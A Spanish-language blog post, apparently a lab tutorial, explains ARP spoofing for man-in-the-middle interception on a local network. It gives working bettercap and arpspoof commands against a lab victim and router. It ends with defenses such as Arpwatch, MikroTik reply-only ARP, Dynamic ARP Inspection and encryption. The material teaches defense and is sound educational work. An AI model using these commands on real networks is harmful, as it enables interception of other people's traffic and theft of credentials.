Retomando los labs básicos de ciberseguridad, hoy nos metemos de lleno en la Capa 2 del modelo OSI para ver cómo desviar tráfico en una red local usando una técnica tan vieja como efectiva: ARP Spoofing.

Cuando se habla de Man-in-the-Middle (MitM), los ejemplos clásicos siempre muestran capturas de Wireshark levantando credenciales en texto plano: un Telnet, un POST por HTTP (puerto 80) o correos viajando por POP3/SMTP.

El detalle es que en esos laboratorios solemos sniffear desde el mismo equipo que genera o recibe el tráfico. Eso sirve para entender el protocolo, pero en redes reales con switches modernos, que aíslan el tráfico por puerto, escuchar lo que pasa al lado no es tan simple como en los viejos hubs o en una red WiFi abierta.

En la práctica, para hacer un MitM primero hay que forzar a que los paquetes pasen por nuestra máquina. Ahí es donde entra en juego el envenenamiento ARP.

Dominios de Broadcast y Dominios de Colisión

En redes se habla de dominio de broadcast a la topología donde los equipos se comunican entre si a través de switches/hubs o un medio donde los paquetes de broadcast puedan viajar libremente.

Los dominios de colisión, por el contrario, están separados por Routers, donde esos paquetes arp ya no pueden pasar.

En los dominios de broadcast (tu LAN), cuando equipo A quiere comunicarse con equipo B y solo tiene su IP (y obviamente equipo B está dentro de su misma dirección de red que A); Equipo A manda al switch un trama ARP Broadcast(Request).

Encabezado Ethernet (Capa 2)

  • MAC Origen: La dirección MAC de la interfaz del equipo A (MAC_A).
  • MAC Destino: FF:FF:FF:FF:FF:FF (Dirección de Broadcast de Capa 2. Esto fuerza a que todos los switches inunden la trama por todos sus puertos dentro de la misma VLAN/dominio de broadcast).

Cuerpo del mensaje ARP

  • Sender MAC (MAC Transmisor): MAC_A
  • Sender IP (IP Transmisor): IP_A
  • Target MAC (MAC Objetivo): 00:00:00:00:00:00 (Campo desconocido/vacío, es justamente lo que se busca resolver).
  • Target IP (IP Objetivo): IP_B
  • Opcode (Código de operación): 1 (Indica que es una solicitud / ARP Request. El opcode 2 es el Reply, la respuesta).

Una vez que el Equipo A y el B se conocen, ambos agendan sus MAC Adress para comunicarse entre si. Esta agenda única que mantiene cada equipo tiene también una vigencia para asegurarse de que esos datos siguen siendo válidos.

Equipo A solo enviará tramas ARP Request a equipos que están dentro de su red configurada, de lo contrario buscará la ARP de su Gateway para que sea el Router quién encuentre su destino.

Si querés ver en tu PC qué equipos conoces podes hacerlo con:

#En Windows
arp -a
#en Linux con
ip neig

Cuando lo hagas te vas a dar cuenta que tu equipo memoriza las MAC Address de los equipos de tu red(incluido tu gateway) y no los equipos alcanzados o conocidos a través de un router o en redes distintas.

ARP Spoofing

Lo interesante del protocolo ARP es que cuando un equipo intenta encontrar la MAC Address del otro para comunicarse ambos memorizan sus MAC y sus IPS. No hay validación de ningún tipo, ambos equipos se agendan con los datos intercambiados.

Este dato se vuelve clave en el ataque. El truco está en que la víctima crea que nosotros somos el Router y el Router crea que nosotros somos la víctima. De esa manera vamos a lograr que el tráfico de la victima pase por nosotros y allí podremos inspeccionarlo.

En el Debian atacante instalamos las herramientas:

sudo apt update
sudo apt install -y bettercap dsniff ettercap-text-only tcpdump tshark nmap

Luego vamos a revisar el entorno. Qué vemos desde nuestro Linux:

#Que ip tenemos
ip a 

#Ping al gateway
ping -c2 192.168.10.1
 
#Nuestra tabla arp con los vecinos conocidos 
ip neigh 
 
# o escaneá la LAN: 
nmap -sn 192.168.10.0/24

Cuando redireccionemos el tráfico de nuestra víctima a través de nuestro equipo, el tráfico, debe atravesarnos. Para que esto suceda configuramos nuestro linux como Router.

#El viejo y conocido bit en forward
sudo sysctl -w net.ipv4.ip_forward=1

Para referencias les dejo las macs e ips del lab:
Atacante:
0c:f4:6b:48:00:00
192.168.10.253

Víctima:
0c:5b:16:4c:00:00
192.168.10.252

Router:
0c:de:61:8e:00:01
192.168.10.1

Vamos a iniciar bettercap en el atacante y empezamos a spoofear en la red.

#iniciando
sudo bettercap -iface ens4

» net.probe on
» net.show                      # esperá a que aparezca 192.168.10.252 CON su MAC
» set arp.spoof.targets 192.168.10.252
» set arp.spoof.fullduplex true
» arp.spoof on
» net.sniff on #Con este comando ya empieza a escuchar

Con net.show ya vemos los equipos en la red.

Y al activar el net.sniff on ya podemos ver tráfico atravesando nuestro equipo.

Probamos acceder a google pero por http: en vez de https:(luego nos va a redireccionar igual)

Si revisamos la configuración del equipo víctima podemos ver los que en su tabla mac figuran datos que sabemos no son los correctos, nuestro envenenamiento!

Si queremos ver esto un poco más limpio, podemos ejecutar 2 terminales en el equipo atacante y con estos comandos ver en dos consolas lo mismo de otra manera. Arpspoof es más contundente envenenando que bettercap. En el Debian, dos terminales:

sudo sysctl -w net.ipv4.ip_forward=1
# Terminal 1
sudo arpspoof -i ens4 -t 192.168.10.252 192.168.10.1
# Terminal 2
sudo arpspoof -i ens4 -t 192.168.10.1 192.168.10.252

Y en la víctima, para no esperar probá con:

sudo ip neigh flush dev eth0
ip nei  

Mecanismos de Defensa

Para detectar este tipo de ataques en una red corporativa, lo ideal es desplegar una instancia de Arpwatch escuchando en cada VLAN. Esta herramienta mantiene un registro histórico y dispara una alerta apenas detecta que una IP cambia de dirección MAC.. o peor aún, cuando una misma placa de red empieza a responder de golpe por múltiples IPs, un síntoma clásico de envenenamiento.

Si preferís hacer el análisis manual o confirmar el incidente en tiempo real, en Wireshark la huella es inconfundible: vas a empezar a ver tráfico con ARP replies duplicados o contradictorios disputándose una misma dirección IP.

En MikroTik, la defensa propia es que el DHCP agregue entradas ARP y que la LAN solo acepte las ya conocidas:

/ip dhcp-server set [find name=dhcp1] add-arp=yes
/interface ethernet set ether2 arp=reply-only

Con esto el router ignora el ARP falso y mantiene el par IP/MAC que entregó por DHCP. Eso protege el lado del router, pero el envenenamiento víctima -> atacante sigue siendo posible en el switch, así que la protección completa es Dynamic ARP Inspection (DAI) en un switch administrable (el switch de GNS3 no lo tiene, es muy básico). En equipos críticos, entradas ARP estáticas en la víctima:

sudo ip neigh replace 192.168.10.1 lladdr <MAC-real-del-MikroTik> dev eth0

Y la defensa de fondo: cifrar todo (TLS, SSH), porque aunque intercepten, no leen. Parece exagerado(validar mac, asegurar tráfico, etc) pero date cuenta que el MiTM en una red corporativa no es algo de otro mundo

Para ser un buen defensor hay que tener en claro a que nos enfrentamos.

«Todo el arte de la guerra se basa en el engaño.» (Sun Tzu, El arte de la guerra)

Por Jeremías Palazzesi

Solucionador de Problemas Senior!. No podés con algo?, probá conmigo!

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *